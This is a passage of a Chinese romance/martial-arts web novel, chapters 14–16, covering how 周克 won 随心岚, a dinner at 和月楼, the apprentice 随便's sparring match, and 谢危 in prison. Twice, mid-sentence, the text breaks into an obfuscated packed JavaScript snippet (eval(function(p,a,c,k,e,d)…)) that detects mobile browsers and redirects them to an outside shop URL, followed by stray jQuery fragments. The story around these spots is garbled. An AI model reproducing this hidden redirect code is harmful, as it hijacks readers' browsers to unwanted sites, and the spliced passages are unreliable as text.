说完没等谢泠回答,蹙起眉:“你从哪儿瞧出他人好的?” 谢泠还真低头,认真想了想:“说话温声细语的,名字也很好听......” 她站在原地想到什么说什么,再抬起头时,周洄已经和她拉开了距离。 ...... 到了随府门口,周洄的脸色更难看了,因为站在随府大门前的是三个人。 谢泠看到随心岚连忙上前,又不知道说些什么,双手垂在两侧,握拳又松开,一时脸都憋红了。 随心岚倒是笑意温婉,先开了口: “无论如何,此事还是多谢谢女侠。” 说着看向一旁的周克,周克轻哼一声别过头,显然还记得那当街被踹一脚的旧账。 谢泠后退一步,端正行礼:“之前是我不明就里,冒犯了周二公子,还请勿要见怪,如今看来,周二公子和随姑娘才是天造地设的一对儿啊。” 说着低头瞥了一眼随便,随便连忙蹦到两人面前,声音清脆:“就是就是!当时那混账秀才求我们帮忙,谢泠本就不愿意,毕竟随姑娘和那秀才怎么看怎么不般配!”说着重重叹了一口气:“只是那秀才死缠烂打,唉!” 见周克嘴角上扬,他挺起胸膛,眼睛亮晶晶地看着那二人,语气更加理直气壮:“今日见二位站在一起,我才算懂了,什么叫才子佳人,什么叫天作之合!” 这一串话下来给周克说得心里美极了,方才那点别扭早不知散到了哪儿去。 只觉得来之前兄长提议让这二人一同观礼之事倒也不是不能考虑,毕竟他周二公子向来心胸开阔,不过是被踹了一脚而已,何必耿耿于怀呢。 想到这儿,他伸手摸了摸随便的脑袋。 谢泠暗自感叹自己这个徒弟真是天资聪慧,一点就透,不由得向他投去了赞赏的目光。 随便此时好似那坐拥万亩良田的土财主,真不枉自己一大早缠着郝掌柜好说歹说学来的这些漂亮话,心里暗自下定决心,剑要练,书也要读! 周克轻咳一声:“确实还是要多谢你们,若是不急不如留下来喝完喜酒再走?” 谢泠点点头 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谢泠只是随口一问,没想到随心岚点了点头。 师徒二人瞬间眼神亮了起来:“周二公子还有这本事!” 说着一左一右拉着随心岚坐到一旁的桌子前,随便动作更快,转身就从院中石桌上取来了一碟瓜子。 谢泠一边嗑瓜子一边好奇道:“说实话,我原以为周克那性子,很难会这么喜欢一个姑娘,你俩咋认识的啊。” 随心岚抬手扶额,似是有些难以启齿,可眼前这两双亮晶晶的眼睛直勾勾地盯着自己,大有一副不听到故事不罢休的架势。 ...... 随府客厅。 周克斜靠在椅子上,姿态有些松散: “随伯父如今正忙着筹备婚事,没空接见你俩了,有什么事就在这说吧。” 周礼瞥了他一眼:“还没娶进门,你倒是先有了姑爷的架势,不知道的,还以为你是入赘随家。” 见自己兄长语气不悦,周克脖子一缩,连忙坐直了身体。 周洄不做理会,开门见山地问:“那随南星是如何勾搭上江州牧千金的。” “还能怎么着?使银子呗!我可是没少给他银两!”周克提到那秀才气就不打一处来,原以为他只是勒索自己,没想到他两头通吃,还敢要挟随心岚,真是没把他打死算自己脾气好。 “科考之前,不少考生为搏大官青眼为之后铺平仕途,都会花钱为自己造势。”周礼不疾不徐地接过话,“而那些官员为培植势力,也愿意拉拢有望登科的士子。”他话锋微转,视线落向周洄,“不过,我询问他时,倒听出一件颇不寻常的事。” 周洄目光平静:“什么事?” 周礼手指在桌上轻叩:“就他那三天两头往花柳巷跑的做派,再怎么造势也不可能秋闱中举,可他告诉我,有人以五十两的价格向他出售考题。” “谁这么大胆?”周克心下一惊:“可他不还是落榜了吗?” 周礼笑了笑:“可不就是说,交易那天不知怎么刚好有官兵来巡查,结果卖题之人跑了,钱也被拿走了。” “那考题呢?” “白纸一张。” 周克闻言一愣随即哈哈大笑:“真是报应!”笑着笑着见两位哥哥都表情严肃,他嘴角一抿,讪讪收了声。 周洄淡淡开口:“这绝非个例。” 14.周二公子心仪的姑娘 随府后院,谢泠支着个脑袋,面前的瓜子皮已经堆成一座小山:“这么说,是周克先主动的?可你俩初次见面时还针锋相对呢,怎么后来就像变了个人?” 随心岚低下头笑了笑:“他不过是自幼没了母亲,又少了些管教,才显得性子野了些。”少女声音轻了些,“其实人不坏的。” 随便和谢泠对视了一眼,情人眼里出西施嘛。 ...... 随心岚对周克的第一印象确实不太好,不过是个嚣张跋扈的纨绔子弟罢了。 自从和游南星断了之后,她便将自己关在府中,闲来无事爱上了种花,众多花草中独爱木兰,木兰花的种植格外讲究。 父亲特意托人从岭南运来嫁接苗,她第一次种,没有经验,种的认真,又笨拙,以为勤浇水就会长得快些,没想到木兰怕涝,没几天根部就腐烂了。 望着那枯萎的败苗,她有些难过,谁知父亲第二日又让人送来了新苗。 她望着那一排细嫩的幼苗,眼眶有些发热,游南星的事她从来没对父亲说过,可这世上,有哪位父亲看不出自家女儿每日脸上的惆怅呢。 “想做什么就做什么,有爹在呢。” 随心岚看着眼前鬓边有些发白的父亲,只觉得喉间一紧,母亲去世后,多少人劝他续弦,说这么大家业总要有个儿子来继承,否则岂不是便宜了外姓人,父亲总是说遇到再说,她知道,他是怕委屈了自己。 游南星的事虽说已经了结,可金泉郡本就不大,再加上那秀才曾在随府门口晃荡了半个月,闲言碎语早已传开,起初只是一些揣测,她并不在意,可传着传着竟传成父亲嫌贫爱富、棒打鸳鸯的戏码。 她虽是性子清冷,有时候气不过也想去和那些人理论一番。 父亲总是拉住她:“何必呢,爹只要你开开心心就好,旁的不重要。” “爹,让我跟您一块儿打理铺子吧。”她望着父亲不知何时布满皱纹的脸,眼神坚定。 她并非想要证明什么,只是不愿再听到那些流言蜚语,她想要让所有人知道,父亲的眼光没有错,这随家的产业她也可以撑起来。 随家大大小小共有五间铺面,除去最大的载春楼外,其余皆是绸缎、首饰之类的小铺子,随心岚便选了其中那间名唤浮云斋的首饰铺。 金泉郡的首饰铺可谓遍地开花,这还得从一段往事说起。 当年尚未登基的圣上,曾以化名游历至金泉郡,与当地一位普通人家的小姐相识定情,那小姐名唤周蕊,两人离别时,她曾赠他一枚玉佩,后来先帝殡天,圣上登基,便以玉佩为凭迎她入宫,封为静贵妃,随后诞下一子,出生即被立为太子。 这段佳话在金泉郡广为流传,城中的首饰铺便纷纷开始仿制那枚定情玉佩,说是能沾富贵,得姻缘,浮云斋就是最先开始仿制的一家,只是后来因为静贵妃自杀,太子被废,那玉佩的来源再也无人敢提,样式倒是一直流传。 随心岚去浮云斋的头一日便遇到了周克。 当时她正在看工匠新绘的样式,门外忽然响起爽朗的笑声,随心岚还未抬头就听到来人惊讶的声音:“哟,这不是随姐姐吗?” 随心岚蹙眉抬头,少年一身象牙白金丝镶边的锦衣,右手随意地拿着一把合拢的扇子,腰间悬着一枚红线坠着的白玉,一双丹凤眼轻轻上挑,剑眉英气,嘴角上扬,有道是风流倜傥,翩翩少年郎。 周礼回京了,自己好不容易能出来透透气,没想到还能碰到老熟人,周克只想找点乐趣。 “周二公子原来认识这随家大小姐?” 说话的这位青衫男子是周克来到此地后结识的玩伴刘锦,也是个公子哥儿,这金泉郡就是他带着周克摸清的。 周克咧嘴一笑,走上前:“我和随姐姐可是老相识了。”说着还刻意四处张望: “怎么不见那酸秀才?” 刘锦瞥了周克一眼,心道这二公子专往人痛处上戳,前几天自己明明跟他提过随家老爷嫌贫爱富,拆人姻缘的坊间传闻,他倒好,直接当着本人面问起来了。 随心岚只当没听到,客气地笑了笑: “周二公子是要选首饰吗?没事的话还请不要耽误小店做生意。” 周克听完点点头,让她帮着挑几款近来卖得好的样式。 随心岚心里明白他并非真心要买,却也不说破,只依言取了几样首饰,耐心地为他一一讲解。 周克手肘往柜台上一撑,单手托着下巴,目光落在她脸上,少女说话间嘴唇一张一合,温和的声音如同潺潺流水般淌进他耳中,心头好似被一片羽毛轻轻拂过。 “周克!” 随心岚忍不住凑近,扬声叫他,这个人怎么说着说着眼神就不知道飘到哪儿去了。 周克猛地回过神,连忙摇摇头,随即大手往桌子上一拍:“随姐姐,你念书给我听好不好!” 随心岚觉得眼前这人怕不是得了失心疯,转身掀起帘子就进了内屋,再没出来。 ...... 这之后周克便三天两头的往浮云斋跑,央求自己念书给他听。 “好姐姐,算我求你的,兄长临走前给我布置了一大堆要看的书,我实在读不进去。” 随心岚不理他,自顾自地查看新到的样品,周克就不停地黏在她身旁打转: “但若是你念给我听,我没准儿一天就能读完。” 随心岚被他弄得有些心烦:“想玩找别人去,我没这闲工夫。” 周克瞬间垮起个脸,嘟囔了一句:“那好吧。”然后从身后拿出一盒清心糕放到一边,小声说: “这是和月楼新出的清心糕,卖得可好了,本来想着咱俩一块吃的,给你吧。” “拿走,我不吃。”随心岚刚想推回去,发现人已经不见了踪影,只得叹气,将那糕点放在一边,想着他应该不会再来烦自己了。 谁知第二天,他还是准时来了,手里还拿着一本书,见到她笑嘻嘻地说: “你不必管我,我就是在这儿看书自在些。” 随心岚没理他,少年自己搬来一个木凳,坐在门边开始念书。 可听着听着随心岚觉得有些不对,怎么会有人一句话就能念错三个字,忍了忍还是没忍住出声纠正了,周克连忙转身点头表示虚心接受,结果没两句又念错了。 “其心内倾,则不足以决什么理矣....什么杜作什么马什么......”周克的声音越来越响,惹得路过的行人都开始驻足观看,他自己却丝毫不觉得羞,依然朗声诵读他这稀稀拉拉的荀子说。 随心岚实在听不下去,一把夺过他手中的书:“字都没认全,还念什么书!” 少年低头,声音委屈:“我出生时母亲便不在了,父亲与兄长又忙碌……自然无人教我。” 周克这话若是让他那表哥听到定会被狠狠踹上一脚,他少时曾入宫为太子伴读,翰林院的学士轮番上阵教他,只是他半个字也听不进去,还常常捉弄那些老学士。 随心岚却只听得他和自己一样母亲早逝,又想到初见之时自己说他从小人无人管教,心下一软,叹了一口气:“那你每日早膳后过来,我教你。” 周克抹了抹脸闷声说了句好,嘴角却止不住上扬。 ...... 每日清晨,周克总会早早地在化凤桥下的石桌前等待,桥边的柳絮吹了又落,湖畔的野草青了又黄,从蝉鸣到雪落,随心岚低头为他念书的身影好似从未变过。 只是某一日她抬起头,才忽然发觉,眼前少年肩膀的轮廓早已变得硬朗,个子也高出自己许多。 书架上的书一册册薄了下去,她的声音依旧和那时一样温润如水,只是少年的目光不知何时已从书上移到了她的脸庞,眼神中的眷恋也越来越深。 秋闱放榜后没几日,随心岚收到了游南星寄来的信。 通篇都在说着自己的思念与悔恨,末了又恳求她再借自己一些银子,称自己此次落榜无颜回乡见她,想在平东郡住下备考,已待三年后的再次秋闱。 随心岚只觉得这人不可理喻,且不说两人早已没了关系,自己给他的五十两银子,够一个普通人家一年的吃喝用度,他竟然全花光了。 刚想将信收起来,周克不知何时站到了她身旁:“你还与那秀才通着信?” 随心岚下意识将信塞到了袖中:“没有,只是告诉我他近况而已。” 她并没有告诉周克那些过去之事,一来她不愿意背后论人是非,二来属实是不想再提到那人半句,可在周克眼里却变成了维护。 “我不懂那种人有什么好挂念的,”周克难以克制自己心中的怒火: “当初见了我连句话都不敢多说一句!” 随心岚抬眼看他:“你这么生气做什么?” 周克一时语塞,关于游南星的事他早已打听过了,无非是那秀才自私自利罢了,可是若这么说出来了,倒像是随心岚被人抛弃一般,她本就心思细腻,万一因为此事又暗自伤怀怎么办,还是当不知道好了。 他缓了缓开口:“我只是替随姐姐感到不值,那种人,”他别过脸闷闷不乐道: “那种人散了便散了,没什么好留恋的。” 随心岚拍了拍他的肩膀笑着说:“我自然不留恋。”说着揶揄道: “如今你倒讲礼了,不像刚来时那般莽撞。” 周克握着随心岚的手,没松开:“别总摸我头了,我又不是小孩子。” 随心岚佯装生气地将手抽出:“哦,长大了,之前还总喜欢我摸你头。”说着她眼珠转了转: “莫不是有心仪的姑娘了?” 周克闻言却直勾勾地盯着她,随心岚有些不知所措,忙借口去做别的事了。 ...... 刘锦怎么也没想到,这周二公子竟真对随大小姐上了心,此刻正蹲在墙角,一脸幽怨: “她怎么能问出那么冰冷的话!” 周克越想越气,将手中的石子扔了出去: “我来到这金泉郡见过几个姑娘?不都是日日同她在一起吗,就算她心里没我!” 说到此处他更生气了,猛地站了起来看着刘锦:“她怎么能心里没我呢!” 刘锦抿着嘴不知道作何回答,只得点点头随声附和: “就是,她也太没眼光了,那南河巷的穷秀才——”见周克眼神一凛,他连忙住口,又忍不住小声问道: “你最近没听到什么风声吗?” 周克抬眼:“什么?” 刘锦小心翼翼地将最近金泉郡的传闻说给了周克,大概就是那随小姐曾与游南星其实早已有了肌肤之亲,后来随老爷棒打鸳鸯,又怕丑闻传出去,便将那随南星赶出金泉郡,让他别再回来,要不然为何此次秋闱过后也不见他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周克轻哼一声:“随姐姐才不会跟那种人有什么关系,更别说我根本不在乎她过去如何。” 他的眼神幽暗:“只要当下,将来站在她身旁的人是我就够了。” 刘锦被少年眼底的戾气与偏执震慑住,还未开口,忽听得身后传来一道清亮的声音: “周克,你在这儿做什么?” 周克眼神瞬间清澈,转过身带着笑意跑了过去: “随姐姐!” ...... 随便瞪了一眼正和自己抢最后一个橘子的谢泠,拍掉她的手,将橘子夺到手中,又看向随心岚: “那后来,你们就在一起了?” 随心岚羞涩一笑,点了点头:“好像和寻常伴侣也没什么不同,就是自然而然就在一起了。” 上元灯会,桥下湖畔,浮光跃金,静影沉璧。 周克陪着随心岚又一次放了莲花灯,说是要将上一个愿望抵消掉。 随心岚望向身侧的少年,眼神熠熠生辉:“不想知道我这次许了什么愿望吗?” 周克挠了挠头,小声说道:“不是说,说出来就不灵了吗?” 随心岚凑上前,声音轻柔:“是同你有关的。” 周克嘴角上扬:“那你说吧,我都能帮你实现。” 湖面上的莲花灯渐渐飘远,远处桥头盏盏灯笼高挂,桥上结伴同行的少年少女笑语盈盈,此刻周遭的热闹与光影在周克眼中都远远不及那明媚少女动人。 一片喧闹声中,他只听到了自己的心跳和她温和的嗓音: “愿我如星君如月,夜夜流光相皎洁。” ...... 周克还未进屋,随便就扑了过来:“周二公子!你定要好好教教我如何讨女孩子欢心!” 随心岚在身后掩唇轻笑,周克一把推开随便走到随心岚面前,面色不悦: “你是不是同他们说什么了。” 随心岚摇摇头,拉着他的手:“同兄长说完话了?饿不饿?” 周克咧嘴笑着说:“有点,想吃随姐姐做的......”话未说完,眼神一冷瞥向一旁正在看着他俩傻笑的一大一小。 谢泠反应极快,拽起随便就往外走:“告辞。” 没走几步就遇上了走来的周礼和周洄,谢泠脚步一顿在他们面前站定。 周礼眼中流过笑意:“小谢女侠这是要去做什么?” 谢泠松开随便,笑眯眯地说: “随姑娘和周二公子正在里面说话,我们不便打扰。” 周洄瞥了一眼周礼,上前一步:“既然人也见到了,回去吧?” 谢泠点点头:“好啊,我都有些饿了。” 周洄嘴角扬起,低头看着她: “和月楼的烧鹅还不错,出门前我吩咐过郝掌柜了。” 随便听得两眼放光,拽着谢泠的衣角,催促道:“走走走。” 谢泠看向周礼本来想问要不要一起,周洄似是看穿她的心思直接替他回绝了: “周大公子事务繁忙,怕是没空和我们一起。” 周礼嘴角一抽,难得嫌弃地看了一眼周洄,随即笑着对谢泠说: “无妨,来日方长,有的是机会。” 随便眨眨眼,在心里默默给他的修竹哥又记上了一笔。 15.周洄心中有些不快 和月楼,二楼。 白瓷大盘端上桌,黄澄澄的卤鹅被切成细长块在盘中码的整整齐齐,表皮酱红透亮,皮肉相连处,油汁溢出,肌理分明,热气裹着香气漫开,随便深吸一口,拿起筷子就夹了一大块,径直塞进口中,大口咀嚼。 那卤鹅入嘴即爆,卤汁顺着嘴角就往下淌,少年随手一抹,吞了个干净,当即咧嘴带着哭腔: “好吃,我这辈子还没吃过这么好吃的肉。” 谢泠只觉得又心酸又好笑,将盘子往他那边推了推:“吃,吃个够。” 随即又小声地问旁边的周洄:“这卤鹅不便宜吧。” 周洄摇摇头:“算我请的。” 谢泠摸了摸脖子,心里有些过意不去,往他身旁凑了凑低声道:“上次的事已经过去,再说你也给过我银子了,这几日吃住我怎么好意思再让你破费。” 周洄喉结上下一动,脸上的笑意淡了些,侧头看着她:“小谢女侠与我如此生分吗?” 谢泠不知哪句话惹到了他,方才还和风细雨的一个人,忽然就冷淡起来。 她连忙摆摆手:“不是不是,朋友之间也该账目分明,总不能一直占你便宜。” 周洄轻笑了一声,不再看她,自顾自夹着菜: “你在清水郡祝府住的那几日,也同祝公子算得这般清楚么?” 谢泠一愣,猛地转头瞪向旁边正狼吞虎咽的随便,随便连忙将嘴里的肉咽了下去,一脸委屈地将那盘吃了一半的卤鹅往谢泠旁推了推。 那日周洄夸他桃木剑不错,他顺口说了句修竹哥送的,简单提了几句而已。 还没等谢泠再次开口,周洄便叫来了郝掌柜:“小谢女侠这两日的花费,你给她算算。” 郝掌柜站在桌前,看了看谢泠又看了看周洄,有些为难:“这...这都是公子的朋友,何必...” 周洄抬眼看他。 郝掌柜咽了咽口水,低着头自顾自地算了起来,最后报出一个让谢泠恨不得跳楼的数目。 “三十二两!” 谢泠拍桌而起,这是黑店吧! 郝掌柜见周洄面色平静,心里也踏实许多,摆出一副公事公办的模样,为谢泠说明这三十二两的明细。 周洄将自己面前那盘菜轻轻挪开:“这道菜就不必算了,毕竟我也吃了。” 谢泠摸了摸袖中的钱袋,约莫还剩个四十多两,还是周洄上次给的,本以为这次最多七八两银子,咬咬牙也就掏了,这要是给出去三十多两,她和随便就一路卖艺走到京城吧。 但是话都说到这份了,大不了明天换个便宜客栈住,她拿出钱袋放在桌上,将头扭到一边,颤声说:“拿走吧。” 周洄也站了起来,拿起钱袋在手心掂了掂,眉头轻挑:“真给啊?” 谢泠转过身,一脸哀怨地盯着他手中钱袋,闭上眼用力点点头。 忽然,有人拉起了她的手。 睁开眼,周洄已经走到她面前,他摊开她的掌心,将钱袋轻轻放了回去,笑着说: “我听随便说你们也要去京城,正巧,过几日诸微需去别处办差。” 他顿了顿,缓缓开口:“不知,小谢女侠此番可还愿护我一程?沿途一应花费自然由我承担,事成之后,另奉上百两黄金。” 周洄看似不经意地说出这话,眼神却牢牢锁在她脸上,生怕错过一丝神情。 尽管她说不介意上次的事,可那是因为她活下来了,这次,她还会愿意吗? 谢泠此刻脑子里只有花费全免,黄金百两这几个字眼,哪里顾得上其他,连忙点头,生怕他后悔: “好啊,好啊。” 周洄目光却暗了下去:“你不怕生死关头,我再次弃你而去?” 谢泠摇摇头,答得干脆:“护卫就是要护你周全,不然我岂不白拿那么多银子,这道上的规矩我懂。” 她笑得坦荡又明亮,没有半点拖泥带水。 周洄心中却莫名生出些不痛快,嘴角轻抿,只点了点头。 却听谢泠又补了一句:“再说,你我已经是朋友了,有难同当,我相信你不会的。” 周洄眸光微动,方才心中那些郁结霎时烟消云散,自己在她心中,到底和旁人是不同的,嘴角不自觉扬起,整个人如沐春风,绽开笑意:“自是当然。” 一旁的随便悄悄挪到郝掌柜身侧,举起手挡住嘴,小声说道:“再来一只卤鹅。” 郝掌柜笑着点了点头,退了出去。 ...... 周克和随心岚的婚事定在三日后。 谢泠本想趁着这几日的清静,让随便把剑术根基扎牢,可这小子玩心大得很,总想往外跑。 她只好带着随便在这金泉郡闲逛,听了不少有关静贵妃的传闻,说她当年入宫时何等风光,就连走过的石桥也被命名为化凤桥,最终也不过落得个冷宫自尽的下场。 谢泠默默听着,只觉得所谓帝王之爱也不过转瞬即逝。 “周克不是叫那静贵妃一声姑姑吗?”随便一边走着一边小心翼翼地抚平着衣角,这可是谢泠给自己买的新衣裳,他得爱惜着穿: “那周洄想必也是什么大人物吧?” 谢泠目视前方,语气平静:“与我们无关,这些事人家不愿说,我们就不问,何必掺和进去。” 她从不去打听周洄的真实身份,就算他是当今圣上又如何,小镇初遇时她就察觉到他身份不一般,终究不是同路人。 说起来上次分别时,他好像告诉过自己真名,谢泠停在原地,蹙眉细想,竟然忘了个干净,想了半天就想起一个和字。 罢了,她摇摇头,不重要。 随便盯着谢泠看了一会儿,凑上去低声问: “上次那个姐姐问你师父的事,你为什么不说啊,说不定他们认识谢危呢。” 谢泠停下脚步,看着随便,语气认真起来:“我们和周洄是朋友,但朋友不代表什么都要说,更何况他们的底细咱们也不清楚。” 说着她俯下身双手搭在随便肩上:“关于师父的事,我不提,你一个字也不许往外说,听见没有?” 当初追杀周洄的刺客身上有着和师父一模一样的印记,万一,万一他和师父真有什么过节怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098481|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办,毕竟师父总说自己是躲难才逃到山上的,虽然他说的话大都像吹牛,但谢泠还是不敢冒这个险。 随便望着皱着眉的谢泠,伸手握住了她的手,眼神清澈:“我听你的。” 虽然他觉得那个有钱哥哥不像什么坏人,但是他明白,除了大壮他们,谢泠是这世上唯一真心待他好的人,即使当初自己那么不懂事,她还是愿意在祝府待着等自己想明白。 想到这儿,少年眼神忽然坚定起来:“谢泠,我们回去练剑吧。” 他要变得厉害点,再厉害点。 ...... 谢泠也不知道随便忽然哪来的这般劲头,回去后硬是练剑到深夜。 他底子很好,几个时辰下来也是能挥着桃木剑使出一套连贯招式,因为惯用匕首的缘故,他的腕力比寻常孩子要大上许多,只是力道大了,准头就弱了些,刺过去的时候剑尖总是不稳。 看着他满头大汗的样子,谢泠按住了他的肩膀:“好了,今日就到这儿,该去歇息了。” 随便一卸劲,长长吐出一口气,只觉得身体像散了架一般,回屋泡了个澡。 第二日又是如此。 他年纪虽小却很能吃苦,这三日未曾懈怠片刻。 周洄来看过几回,让诸微指点了几招,随便得了点拨,信心大增,嚷嚷着要和诸微比试比试。 周洄瞥了一眼旁边正一脸欣慰地看着自家徒弟的谢泠,对诸微点了点头: “比吧,输了可不能哭鼻子。” 随便伸手将额前碎发往后一捋,举起手中的桃木剑指向诸微: “自然不会,但是诸微你不能用刀,毕竟我还是个孩子。” 诸微轻笑,将佩刀解下递给一旁的姬无月,单手起了个架势:“那便请吧,随少侠。” 姬无月接过刀,看着眼前男人的侧脸,那双总是沉稳的眼睛,此刻因为专注而显得格外明亮,手臂线条随着他起势的动作而微微绷紧。 她不由得嘴角一弯,自己的眼光还是不错的,就是人闷了点。 随便紧握桃木剑,按照谢泠教自己的剑招出剑,虽有模有样,但是手腕过于用力,出剑有些慢。 诸微立在原地,见剑刺来,只侧身闪躲,几招过后,少年节奏被打乱,气息有些不稳。 诸微一掌拍在他肩头,随便一个后撤摔坐在地,衣摆裤腿沾满了地上的泥土。 他顿时有些急眼,这可是谢泠给自己买的新衣裳,随即起身眼中带了狠劲,脚下步法忽变,脚尖轻点,起落无声,便近身到诸微身旁。 诸微眼眸微动,只觉得这身法太过像那个人,便没有设防,想看个清楚,随便趁机举起桃木剑刺了过去,诸微被木剑击中胸口,向后退了半步。 随便举着剑欢呼地跳了起来:“我打到诸微了!!!” 话音刚落,才发觉院中一片寂静,包括谢泠在内的四个人,都在静静望着他。 周洄第一个站了起来,抬手轻拍了两下,走上前,目光落在随便尚未褪去兴奋的脸上,眼中却没什么笑意: “这步步生莲的身法是谁教你的?” 16.谢危 京城,诏狱。 许是常年不见天日的缘故,整个牢房都泛着一股腐烂的腥臭味,四周厚厚的墙壁上爬满了青苔,见不得一丝光亮,角落里堆放着茅草,偶尔能听到老鼠窜过的窸窣声。 一位白衣男子盘坐在地,似是在闭目养神,他也没有别的事能做,除了每日送饭的狱卒,他已经很久没见过活人了,这对一向恣意洒脱的谢危来说,无疑是一种堪比凌迟的折磨。 沉重的铁门忽然被推开。 光线从门口刺入,谢危眯了眯眼,适应片刻,才看清门口那位锦衣玉服的男子。 那男子脸上带着笑意:“谢将军,别来无恙啊?” 太久没和人说话了,哪怕是裴思衡这种货色,谢危此时心中竟也萌生出一种久违的亲切。 他伸展了下僵硬的胳膊,开口时声音有些沙哑:“裴小王爷竟然有空来见我?” 说着歪着头抬眼看着裴思衡:“酒呢?总不会空手来的吧?” 裴思衡垂头看着这个长发披肩,衣衫褴褛,早已人不人鬼不鬼的谢危,哪里还有半分当年飒沓如流星的模样。 “谢将军还是风采依旧啊。” 谢危丝毫不在意这种挖苦,懒洋洋地开口: “怎么,还没当上太子啊?裴景和都被你折腾成那样了,你家老头子也没高看你一眼?” “有这闲心,不如关心关心你的好弟弟。” “当个闲散王爷不挺好?” 谢危双手抱在脑后,身子向后一仰,靠在墙壁上。 刚靠稳,颈后似是粘到什么,他伸手一摸,竟是一只死虫子,蹙起眉嫌弃地扔到一边,这才安心地又靠了上去: “总好过有些人算来算去,到头来也不过还是个亲王。” 裴思衡也笑了,语气有些凉:“有你这位舍生取义的兄长在京城,皇兄在那边陲之地又如何待得安稳?” 谢危抬眼看他,眼神平静:“他进京了?”说着又补了一句: “进京又能如何?圣上即使废了太子,也还是留了他一条命,你最多给他路上添点堵。” 裴思衡眼神流转,慢悠悠地开口: “谢危啊谢危,我是没想到你的命这么值钱,这么多人赶着来救你。” “人长得太俊俏,也是一种烦恼啊,你此生怕是难以体会了。” 谢危唇角一勾,左脚搭上右脚,又开始闭目养神。 “啊,”裴思衡故作惊讶叫了一声:“你该不会以为我说的是姬无月他们吧。” 谢危收起脸上的散漫,缓缓睁开眼。 裴思衡像是得逞般低低笑出声,这笑声在这死寂般的天牢显得有些刺耳: “果然,果然,能让我们谢将军真正放在心上的,”他向前走一步俯身说道: “还得是那位被你藏在深山里,宝贝得不得了的小徒弟啊。” 谢危脸上还是挂着笑意: “徒弟?我哪来的什么徒弟。” 裴思衡不再多说,他想确认的事已经明了,自然不愿再在此地多留,转身走出牢门。 铁门砰一声被关上。 谢危脸上的笑意也逐渐褪去,起身坐回原地,目光垂落在地上,在这无尽的黑暗中,他第一次感到了煎熬。 ...... 随便根本不知道什么是步步生莲,方才不过是情急之下用了谢危当时教他的身法而已,他下意识看向谢泠,眼神中带着些不知所措。 周洄挪动脚步挡住了他的视线:“是我在问你,你看她做什么?” 谢泠见状连忙起身走到随便旁,将他拉到怀中,抬眼看向周洄: “做什么?输了就要欺负小孩不成?” 周洄笑着摇了摇头:“只是看他的步法很特殊,便多问了一句,没别的意思,是我唐突了。” 随便从谢泠身旁探出个头,平静地解释道:“是大壮教我的,他说是跟一位世外高人学的,具体我也不太清楚。”他眨了眨眼反问道:“难道有钱哥哥也认识那个世外高人?” 周洄摇摇头:“自然不认识,只是觉得身法巧妙而已。”说着看向一旁的姬无月:“时候也不早了,让郝掌柜准备些饭菜。” 姬无月与诸微对视了一眼,连忙上前笑着说:“早就说过了,随小少侠今日这么辛苦,待会儿定是要多吃些。” 随便咧嘴一笑,眼神亮了起来:“有卤鹅吗?” 被谢泠一巴掌拍过脑袋:“晚上吃太多小心半夜睡不着!” ...... 餐桌上再也没人提及那事,随便也很快抛到脑后,毕竟这什么步步生莲又不是很厉害的招式,总不能是他谢危独创的吧,便心安理得地啃起鸡腿来。 饭后,诸微来到周洄房间。 “不止随便,谢泠的招式也有几分像他。” 周洄站在案前,双指从玉瓶中捏出些粉末,搓了搓倒入熏炉中:“倒是从没听他提过。” “许是在民间那几年偶然遇到过,指点了几招。”诸微像是想到什么笑了笑:“他那性子可按捺不住大展身手。” 周洄蹙起眉,可谢泠和随便也是刚认识不久,怎么就这么巧两个人都见过他呢。 “如今形势不明,暂且搁置吧,下一程我打算去江州省城看看。” 游南星肯定不是唯一一个被骗的人,这背后肯定有些什么文章。 “平东郡?那属下…” 周洄抬手止住了他:“你不必跟我一起。” 诸微眨了眨眼,自己这是被嫌弃了? “好不容易回一趟金泉郡,多留些时日也无妨。” 周洄眼中带着笑意:“要不然我怕姬姑娘无法安心啊。” 诸微低下头闭了闭眼,抱拳行礼。 …… 晚上,谢泠来到周洄房门前,刚准备敲门。 吱一声门却从里面打开了,周洄显然也有些意外,随即眼中荡漾着笑意: “有事?” 进屋坐到桌旁,谢泠从怀中取出一个锦盒,盒子打开是一根木兰玉簪。 “随小姐成亲,我也想不出来送什么好,昨日在街上看到这根簪子,觉得很适合她,就买下来了,还配了个盒子,我想在盒子里塞张红纸写些吉祥话。” 她有些难为情地挠了挠头:“可我字写得不怎么好看,你能帮我写吗?” 周洄点点头,拿过红纸,走到一旁书桌前,平铺展开,用纸镇压住,提起笔抬眼望她: “写什么?” 谢泠凑到他身旁,看着红纸,装作认真思索的样子,半晌开口: “想写的太多,不如你替我想一句。” 周洄笑了笑,提笔在纸上写了八个字: “木兰并蒂,佳偶天成。” 写完,他将笔放置在笔山上,拈起红纸,吹了吹:“如何?” 谢泠抿着嘴点点头,诚恳地评价:“还行。” 还以为他能想出什么漂亮话,原来也逃不过这些陈词滥调的祝福。 周洄不紧不慢地将红纸卷起,递到她手里:“好话不嫌旧。” 谢泠将红纸小心翼翼地塞到锦盒,揣入怀里,结结实实抱拳行了一礼:“多谢。” 说完转身准备回去,却被周洄走上前一步,轻轻拉住衣袖。 他侧着头看着她,声音柔和:“这就走了?” 谢泠嘴角一抽,写个字而已也要收钱? 她正琢磨着如何开口,周洄盯着她说道:“作为报酬,陪我看会儿月亮如何?” ...... 和月楼屋檐上,谢泠抬头瞧了半天,低头看向已经闲坐在瓦片上的周洄: “今儿晚上好像没月亮。” 周洄单手支着脑袋,笑眯眯地望着她:“无妨,坐吧。” 几杯酒下肚,谢泠人也随意了些,话也开始多起来: “你有没有觉得诸微和姬姑娘好像关系不太一般。” 